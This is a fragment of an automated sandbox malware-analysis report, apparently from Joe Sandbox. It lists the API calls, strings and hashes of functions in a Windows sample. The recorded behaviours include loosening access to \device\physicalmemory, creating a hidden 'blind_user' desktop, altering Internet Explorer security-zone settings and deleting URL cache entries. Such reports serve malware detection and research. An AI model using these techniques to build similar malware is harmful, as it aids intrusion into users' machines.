CreateThread.KERNEL32(00000000,00000000,Function_00005133,00000000,00000000,?), ref: 004055DE
WaitForSingleObject.KERNEL32(00000000,000000FF,00000000,00000000,Function_00005133,00000000,00000000,?,?,?,?,?,00000006,?,-00000005,?), ref: 004055EE
GetExitCodeThread.KERNEL32(00000000,?,00000000,000000FF,00000000,00000000,Function_00005133,00000000,00000000,?,?,?,?,?,00000006,?), ref: 004055F8
CloseHandle.KERNEL32(00000000,00000000,?,00000000,000000FF,00000000,00000000,Function_00005133,00000000,00000000,?,?,?,?,?,00000006), ref: 004055FE

Memory Dump Source

Source File: 00000005.00000002.1984377301.0000000000401000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.1984355938.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1984697052.000000000042A000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1984738223.000000000042E000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1984773155.000000000042F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1984812704.0000000000436000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1984845188.0000000000438000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_Olijjb32.jbxd

Yara matches

Similarity

API ID: lstrlen$Thread$AllocCloseCodeCreateExitHandleLocalObjectSingleWaitmemcpy
String ID:
API String ID: 2845097592-0
Opcode ID: 7ec933356805a86d395f76af41b9b2d9f18e99f1d3eeeb5c371ae48cad7448a7
Instruction ID: 017c82820a2f145177c9e28e2e3f5c0bebc6ad2cdfe5315ab2aa4ad5daf85086
Opcode Fuzzy Hash: 7ec933356805a86d395f76af41b9b2d9f18e99f1d3eeeb5c371ae48cad7448a7
Instruction Fuzzy Hash: 5E31D721A04159BACF01DFA6CC01AAEB7F9AF44318F144476F904E7291E63CDB15C7A9

Function 00405F5B Relevance: 13.6, APIs: 9, Instructions: 64stringthreadmemoryCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(?), ref: 00405F73
lstrlenA.KERNEL32(?,?), ref: 00405F7E
LocalAlloc.KERNEL32(00000040,?,?,?), ref: 00405F8D
lstrlenA.KERNEL32(?,00000000,?,00000040,?,?,?), ref: 00405FA2
DeleteUrlCacheEntry.WININET(?), ref: 00405FB5
CreateThread.KERNEL32(00000000,00000000,Function_00005C09,00000000,00000000,?), ref: 00405FCA
WaitForSingleObject.KERNEL32(00000000,000000FF,00000000,00000000,Function_00005C09,00000000,00000000,?,00000001,?,?,00000000,?,00000040,?,?), ref: 00405FDD
GetExitCodeThread.KERNEL32(00000000,?,00000000,000000FF,00000000,00000000,Function_00005C09,00000000,00000000,?,00000001,?,?,00000000,?,00000040), ref: 00405FE7
CloseHandle.KERNEL32(00000000,00000000,?,00000000,000000FF,00000000,00000000,Function_00005C09,00000000,00000000,?,00000001,?,?,00000000,?), ref: 00405FED

Memory Dump Source

Source File: 00000005.00000002.1984377301.0000000000401000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.1984355938.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1984697052.000000000042A000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1984738223.000000000042E000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1984773155.000000000042F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1984812704.0000000000436000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1984845188.0000000000438000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_Olijjb32.jbxd

Yara matches

Similarity

API ID: lstrlen$Thread$AllocCacheCloseCodeCreateDeleteEntryExitHandleLocalObjectSingleWait
String ID:
API String ID: 794401840-0
Opcode ID: 03fc3e79f5e594bfaf1f893bda151e66fa8c5b5e213fcd764589a016d7372ae4
Instruction ID: 5ee1198a60b0fc2a8532ff5616a25e8349e08cf473eab22e95dc85017e90c3ca
Opcode Fuzzy Hash: 03fc3e79f5e594bfaf1f893bda151e66fa8c5b5e213fcd764589a016d7372ae4
Instruction Fuzzy Hash: B011CA71A082447BD701F6668C42EAFB76DDF85368F144476F600B71C2D678AF0147E9

Function 0040289A Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 99COMMON

Download Yara Rule

APIs

GetSecurityInfo.ADVAPI32(?,00000006,?,00000000,00000000,?,00000000,?), ref: 00402976
SetEntriesInAclA.ADVAPI32(00000001,00000002,?,?), ref: 00402988
SetSecurityInfo.ADVAPI32(?,00000006,?,00000000,00000000,?,00000000,?,00000006,?,00000000,00000000,?,00000000,?), ref: 004029A3
CloseHandle.KERNEL32(?,?,00000006,?,00000000,00000000,?,00000000,?,00000006,?,00000000,00000000,?,00000000,?), ref: 004029B1

Strings

@, xrefs: 004028DD
\device\physicalmemory, xrefs: 004028B7
CURRENT_USER, xrefs: 00402914

Memory Dump Source

Source File: 00000005.00000002.1984377301.0000000000401000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.1984355938.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1984697052.000000000042A000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1984738223.000000000042E000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1984773155.000000000042F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1984812704.0000000000436000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1984845188.0000000000438000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_Olijjb32.jbxd

Yara matches

Similarity

API ID: InfoSecurity$CloseEntriesHandle
String ID: @$CURRENT_USER$\device\physicalmemory
API String ID: 405656561-3357994103
Opcode ID: 3f106b48de9bb5ba9ca254209248b2c107f34978da584956db3145db2ea5644b
Instruction ID: 89d45d45e0a184fa7970b295066ffccd564a705ae1855cc5323f3f658fcd5c06
Opcode Fuzzy Hash: 3f106b48de9bb5ba9ca254209248b2c107f34978da584956db3145db2ea5644b
Instruction Fuzzy Hash: 2A41EB71E4030DAFEB108FD4DC85BEEB7B9FB04319F50403AEA00BA191D7B9595A8B59

Function 0040509B Relevance: 12.0, APIs: 1, Strings: 7, Instructions: 43COMMON

Download Yara Rule

APIs

sprintf.CRTDLL(?,SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\%u,00000000), ref: 004050CD

Strings

yes, xrefs: 0040510E
1601, xrefs: 004050D4
SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\%u, xrefs: 004050C1
Software\Microsoft\Windows\CurrentVersion\Internet Settings, xrefs: 004050FF
BrowseNewProcess, xrefs: 00405113
.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\BrowseNewProcess, xrefs: 00405118
GlobalUserOffline, xrefs: 004050FA

Memory Dump Source

Source File: 00000005.00000002.1984377301.0000000000401000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.1984355938.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1984697052.000000000042A000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1984738223.000000000042E000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1984773155.000000000042F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1984812704.0000000000436000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1984845188.0000000000438000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_Olijjb32.jbxd

Yara matches

Similarity

API ID: sprintf
String ID: .DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\BrowseNewProcess$1601$BrowseNewProcess$GlobalUserOffline$SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\%u$Software\Microsoft\Windows\CurrentVersion\Internet Settings$yes
API String ID: 590974362-546450379
Opcode ID: ad57bd7a5e5ee7174c091d0a3ea72984deb32bb5560bbbda773b8a609c7be674
Instruction ID: cd0aaffbc0bd71aa605591c0976343fec0ffbebd6d6d4fedce8ce2f9217411d7
Opcode Fuzzy Hash: ad57bd7a5e5ee7174c091d0a3ea72984deb32bb5560bbbda773b8a609c7be674
Instruction Fuzzy Hash: 24F07DF2F883587EE710A1699C47F8D765907A1704FA400A7BA44B10C2D0FE56C6826D

Function 004077E4 Relevance: 10.6, APIs: 7, Instructions: 83windowCOMMON

Download Yara Rule

APIs

SetFocus.USER32 ref: 00407826
SetFocus.USER32 ref: 00407839
SetFocus.USER32 ref: 00407852
SetFocus.USER32 ref: 00407865
SetFocus.USER32 ref: 00407878
SetFocus.USER32 ref: 0040788B
CallWindowProcA.USER32(00000000,?,?,?,?), ref: 00407909

Memory Dump Source

Source File: 00000005.00000002.1984377301.0000000000401000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.1984355938.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1984697052.000000000042A000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1984738223.000000000042E000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1984773155.000000000042F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1984812704.0000000000436000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1984845188.0000000000438000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_Olijjb32.jbxd

Yara matches

Similarity

API ID: Focus$CallProcWindow
String ID:
API String ID: 2401821148-0
Opcode ID: 92e1ce8f7ee7a46a278bda77c005b4e0a5389e500612bd3ca87d360d572643d3
Instruction ID: 67d25c2989ca0d32993d4aa71a0b11dc39683739a3ff9c0c7d6bcfde353c753a
Opcode Fuzzy Hash: 92e1ce8f7ee7a46a278bda77c005b4e0a5389e500612bd3ca87d360d572643d3
Instruction Fuzzy Hash: 6F318233E082149BDF21FB29ED848DA7726A751324715C43AE550B32B1DB787C91CB6E

Function 004036B3 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 57fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,C0000000,00000000,00000000,?,00000080,00000000), ref: 004036D7
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002,?,C0000000,00000000,00000000,?,00000080,00000000), ref: 004036F4
WriteFile.KERNEL32(00000000,?,?,?,00000000,00000000,00000000,00000000,00000002,?,C0000000,00000000,00000000,?,00000080,00000000), ref: 00403715
WriteFile.KERNEL32(00000000,0042CC6C,00000002,?,00000000,00000000,?,?,?,00000000,00000000,00000000,00000000,00000002,?,C0000000), ref: 00403728
CloseHandle.KERNEL32(00000000,00000000,0042CC6C,00000002,?,00000000,00000000,?,?,?,00000000,00000000,00000000,00000000,00000002,?), ref: 00403734

Strings

Y&-v, xrefs: 004036BA

Memory Dump Source

Source File: 00000005.00000002.1984377301.0000000000401000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.1984355938.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1984697052.000000000042A000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1984738223.000000000042E000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1984773155.000000000042F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1984812704.0000000000436000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1984845188.0000000000438000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_Olijjb32.jbxd

Yara matches

Similarity

API ID: File$Write$CloseCreateHandlePointer
String ID: Y&-v
API String ID: 2529654636-852306816
Opcode ID: 1a2ee31b6e64b1819939f0b424d9492dfa5bc2d8a36479f3b8c11624ee1f3d36
Instruction ID: 393fb1fac6dfb6d7043d4134058e676a256c67ba5a84656a07003a75d011006f
Opcode Fuzzy Hash: 1a2ee31b6e64b1819939f0b424d9492dfa5bc2d8a36479f3b8c11624ee1f3d36
Instruction Fuzzy Hash: A401A772B4461439F62165758C43F9E365D8B41B78F208136F711BB1C1D6F97E0142BD

Function 00405613 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 78COMMON

Download Yara Rule

APIs

FindFirstUrlCacheEntryA.WININET(*.*,?,00001F40), ref: 00405654
_stricmp.CRTDLL(?,?), ref: 00405679
FindNextUrlCacheEntryA.WININET(00000000,?,00001F40), ref: 004056C0
_stricmp.CRTDLL(?,?), ref: 004056D6

Strings

*.*, xrefs: 0040564F

Memory Dump Source

Source File: 00000005.00000002.1984377301.0000000000401000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.1984355938.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1984697052.000000000042A000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1984738223.000000000042E000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1984773155.000000000042F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1984812704.0000000000436000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1984845188.0000000000438000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_Olijjb32.jbxd

Yara matches

Similarity

API ID: CacheEntryFind_stricmp$FirstNext
String ID: *.*
API String ID: 747601842-438819550
Opcode ID: ba5afd5151c0520d6d715a10c5df759dc41a82144f0bc2f8a3a4ef8e8a54dfaf
Instruction ID: aa6d97de36eacb02400b0bc5d5be45fc0d4f636131057f9c0ab70f2a458f06eb
Opcode Fuzzy Hash: ba5afd5151c0520d6d715a10c5df759dc41a82144f0bc2f8a3a4ef8e8a54dfaf
Instruction Fuzzy Hash: AD21CF72E1005AABCB109A65CC018FBB6EEEB44398F1404F3F108F7290EB799E418F65

Function 0040431F Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 50threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00404341
GetThreadDesktop.USER32(00000000), ref: 00404347
CreateDesktopA.USER32(blind_user,00000000,00000000,00000000,000000C7,00000000), ref: 00404376
SetThreadDesktop.USER32 ref: 00404394

Strings

blind_user, xrefs: 00404371

Memory Dump Source

Source File: 00000005.00000002.1984377301.0000000000401000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.1984355938.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1984697052.000000000042A000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1984738223.000000000042E000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1984773155.000000000042F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1984812704.0000000000436000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1984845188.0000000000438000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_Olijjb32.jbxd

Yara matches

Similarity

API ID: DesktopThread$CreateCurrent
String ID: blind_user
API String ID: 2384851093-487808672
Opcode ID: f5dbc74db38e7769b0145d7bd92762358955ae931e1e69e9e23be6df9a4e239d
Instruction ID: 282a6fb7077f79b337956a50597d570250b08ff90f4541f666399335e01d3b83
Opcode Fuzzy Hash: f5dbc74db38e7769b0145d7bd92762358955ae931e1e69e9e23be6df9a4e239d
Instruction Fuzzy Hash: 2C018471B442006FDB14B73E9C5276FA6D95BC0314F64403BA602F72D0E9B899018A5D

Function 00403840 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 35COMMON

Download Yara Rule

APIs

printf.CRTDLL(HEX: ), ref: 00403863
printf.CRTDLL(%02X ,00000000), ref: 00403877
printf.CRTDLL(0042CC3A), ref: 00403890

Strings

HEX: , xrefs: 0040385E
%02X , xrefs: 00403872

Memory Dump Source

Source File: 00000005.00000002.1984377301.0000000000401000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.1984355938.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1984697052.000000000042A000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1984738223.000000000042E000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1984773155.000000000042F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1984812704.0000000000436000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1984845188.0000000000438000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_Olijjb32.jbxd

Yara matches

Similarity

API ID: printf
String ID: %02X $HEX:
API String ID: 3524737521-2568639716
Opcode ID: 20ec43f9d3281b237926bfbb5e092365326a766f922892e0b88cafedccc6c182
Instruction ID: 8eff4c8c66366255d0771bcdb7d8d21a427f9234d78b176c67630138abebef86
Opcode Fuzzy Hash: 20ec43f9d3281b237926bfbb5e092365326a766f922892e0b88cafedccc6c182
Instruction Fuzzy Hash: 43F0E972F05214BBD704DB9ADC4286E77A9DB9236473080FBF804631C0E9755F0086A9

Function 00403BBE Relevance: 7.6, APIs: 4, Strings: 1, Instructions: 112COMMON

Download Yara Rule

APIs

memset.CRTDLL(?,00000090,00000008,56CC39D8,-0042AA50,297D09F2,00000000), ref: 00403C8B
memcpy.CRTDLL(?,-0042AA50,00000000,?,00000090,00000008,56CC39D8,-0042AA50,297D09F2,00000000), ref: 00403CAE
memcpy.CRTDLL(-0042AA50,?,00000006,?,-0042AA50,00000000,?,00000090,00000008,56CC39D8,-0042AA50,297D09F2,00000000), ref: 00403CBE

Strings

MC, xrefs: 00403BFD

Memory Dump Source

Source File: 00000005.00000002.1984377301.0000000000401000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.1984355938.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1984697052.000000000042A000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1984738223.000000000042E000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1984773155.000000000042F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1984812704.0000000000436000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1984845188.0000000000438000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_Olijjb32.jbxd

Yara matches

Similarity

API ID: memcpy$memset
String ID: MC
API String ID: 438689982-3957011357
Opcode ID: 17c6be56fc60e202b714f164ab6214ad707b693cbc1fda5e6d8626b4e57840bc
Instruction ID: 0fabd55d67194886af3b95eda558b9f651b3b184c5d0290ca09bafd6d30b71fa
Opcode Fuzzy Hash: 17c6be56fc60e202b714f164ab6214ad707b693cbc1fda5e6d8626b4e57840bc
Instruction Fuzzy Hash: F131B661F08198AFDB00DFBDC84169EBFFA9B4A210F1480B6E884F7381D5789F059765

Function 004017AC Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 68comCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 004017CC
CLSIDFromString.OLE32({9BA05972-F6A8-11CF-A442-00A0C90A8F39},?), ref: 004017DA
CoCreateInstance.OLE32(?,00000000,?,0042CD50,?,{9BA05972-F6A8-11CF-A442-00A0C90A8F39},?), ref: 00401803

Strings

{9BA05972-F6A8-11CF-A442-00A0C90A8F39}, xrefs: 004017D5

Memory Dump Source

Source File: 00000005.00000002.1984377301.0000000000401000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.1984355938.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1984697052.000000000042A000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1984738223.000000000042E000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1984773155.000000000042F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1984812704.0000000000436000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1984845188.0000000000438000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_Olijjb32.jbxd

Yara matches

Similarity

API ID: CreateFromInitializeInstanceString
String ID: {9BA05972-F6A8-11CF-A442-00A0C90A8F39}
API String ID: 1245325315-1222218007
Opcode ID: 374fb238f9a8af98a0c272c884aa5e7a000c0b0753857630dac3c0af84d03f4f
Instruction ID: 52c0c8d8f8a1b88d6522b4dea913535513547713cd70a2aa0dd21656c7656eb5
Opcode Fuzzy Hash: 374fb238f9a8af98a0c272c884aa5e7a000c0b0753857630dac3c0af84d03f4f
Instruction Fuzzy Hash: E1118673B102116FE710FEF5DC81BAB7AE89B00355F10483BE644F32D1E6B8A50286B9

Function 0040109B Relevance: 6.1, APIs: 4, Instructions: 122COMMON

Download Yara Rule

APIs

signal.CRTDLL(0000000B,00000000), ref: 0040119C
signal.CRTDLL(00000008,00000000), ref: 004011B6
signal.CRTDLL(00000000), ref: 004011D5
raise.CRTDLL ref: 004011E3

Memory Dump Source

Source File: 00000005.00000002.1984377301.0000000000401000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.1984355938.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1984697052.000000000042A000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1984738223.000000000042E000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1984773155.000000000042F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1984812704.0000000000436000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1984845188.0000000000438000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_Olijjb32.jbxd

Yara matches

Similarity

API ID: signal$raise
String ID:
API String ID: 372037113-0
Opcode ID: 2d1ef5de37ea69ebb4b8d4bb24db1da757c13c860f6842aad27d4f5ac914ae12
Instruction ID: baa5ba32779064c34a5af0890878b5a2dbb5619b613b0807c362cc876063d63b
Opcode Fuzzy Hash: 2d1ef5de37ea69ebb4b8d4bb24db1da757c13c860f6842aad27d4f5ac914ae12
Instruction Fuzzy Hash: 4541B475A01204DFC720DF18EC84B5677B4FB08350F44457AEE14AB3E1E734A965CBAA

Function 0040447A Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 68memorystringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(?), ref: 00404492
LocalAlloc.KERNEL32(00000040,-00000008,?), ref: 004044A4
sprintf.CRTDLL(?,%s%c%c,?,4EC4EBEE,?,00000040,-00000008,?), ref: 00404515

Strings

%s%c%c, xrefs: 0040450F

Memory Dump Source

Source File: 00000005.00000002.1984377301.0000000000401000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.1984355938.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1984697052.000000000042A000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1984738223.000000000042E000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1984773155.000000000042F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1984812704.0000000000436000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1984845188.0000000000438000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_Olijjb32.jbxd

Yara matches

Similarity

API ID: AllocLocallstrlensprintf
String ID: %s%c%c
API String ID: 2176257816-3118753097
Opcode ID: 3bea807363c46ff2eeabd7410228c447bcb65eafde6f1461acbb5ea9ba8cf64b
Instruction ID: 40b1eb1d73d9c04af9a72cf5af1a140bd4a75b2e1492408562adfdfa8721cd8f
Opcode Fuzzy Hash: 3bea807363c46ff2eeabd7410228c447bcb65eafde6f1461acbb5ea9ba8cf64b
Instruction Fuzzy Hash: F9110B72E0406867DB009A9A88815AFFBB69FC5310F1641F7EA04B73C1D27CAD0193A5

Function 0040421F Relevance: 6.0, APIs: 4, Instructions: 49registryCOMMON

Download Yara Rule

APIs

RegCreateKeyExA.ADVAPI32(?,?,00000000,00000000,00000000,00020006,00000000,?,?,4FB14922), ref: 00404255
RegSetValueExA.ADVAPI32(?,4FB14922,00000000,00000000,?,?,?,?,00000000,00000000,00000000,00020006,00000000,?,?,4FB14922), ref: 00404273
RegCloseKey.ADVAPI32(?,?,4FB14922,00000000,00000000,?,?,?,?,00000000,00000000,00000000,00020006,00000000,?,?), ref: 0040427F

Memory Dump Source

Source File: 00000005.00000002.1984377301.0000000000401000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.1984355938.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1984697052.000000000042A000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1984738223.000000000042E000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1984773155.000000000042F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1984812704.0000000000436000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1984845188.0000000000438000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_Olijjb32.jbxd

Yara matches

Similarity

API ID: CloseCreateValue
String ID:
API String ID: 1818849710-0
Opcode ID: 65498cc65565106dc5b66ff6a4b4d842dc0e77ec129b82882a45272a282f6444
Instruction ID: d96ef7c4080a9b633a5bca21bfcbc2c766a155132064e5ed691f16c3214ccdec
Opcode Fuzzy Hash: 65498cc65565106dc5b66ff6a4b4d842dc0e77ec129b82882a45272a282f6444
Instruction Fuzzy Hash: B801F772B10109BBCF11AEB5CC02F9EBEBA9F84340F240476B704F61E0D675D9116718

Function 0040429C Relevance: 6.0, APIs: 4, Instructions: 47registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(?,?,00000000,00020019,?), ref: 004042D3
RegQueryValueExA.ADVAPI32(?,?,00000000,00000000,?,?,?,?,00000000,00020019,?), ref: 004042EF
RegCloseKey.ADVAPI32(?,?,?,00000000,00000000,?,?,?,?,00000000,00020019,?), ref: 004042FB

Memory Dump Source

Source File: 00000005.00000002.1984377301.0000000000401000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.1984355938.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1984697052.000000000042A000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1984738223.000000000042E000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1984773155.000000000042F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1984812704.0000000000436000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1984845188.0000000000438000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_Olijjb32.jbxd

Yara matches

Similarity

API ID: CloseOpenQueryValue
String ID:
API String ID: 3677997916-0
Opcode ID: 357a631b938b58c4fbb87905ba1aa3de6a3adf1b78dd9d8722630d207e2470c7
Instruction ID: 691f158720e2b36127ee9bd81ba90e70b5a5535aabeb9bf87ba7554e5ddc9d88
Opcode Fuzzy Hash: 357a631b938b58c4fbb87905ba1aa3de6a3adf1b78dd9d8722630d207e2470c7
Instruction Fuzzy Hash: 9801F271B1410ABACF109E25CC02BEEBFA99F94390F140472BE04F61E1D374EE11A3A9

Function 00403743 Relevance: 6.0, APIs: 4, Instructions: 43fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,C0000000,00000000,00000000,?,00000080,00000000), ref: 00403769
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002,?,C0000000,00000000,00000000,?,00000080,00000000), ref: 00403780
WriteFile.KERNEL32(00000000,?,?,?,00000000,00000000,00000000,00000000,00000002,?,C0000000,00000000,00000000,?,00000080,00000000), ref: 00403798
CloseHandle.KERNEL32(00000000,00000000,?,?,?,00000000,00000000,00000000,00000000,00000002,?,C0000000,00000000,00000000,?,00000080), ref: 0040379E

Memory Dump Source

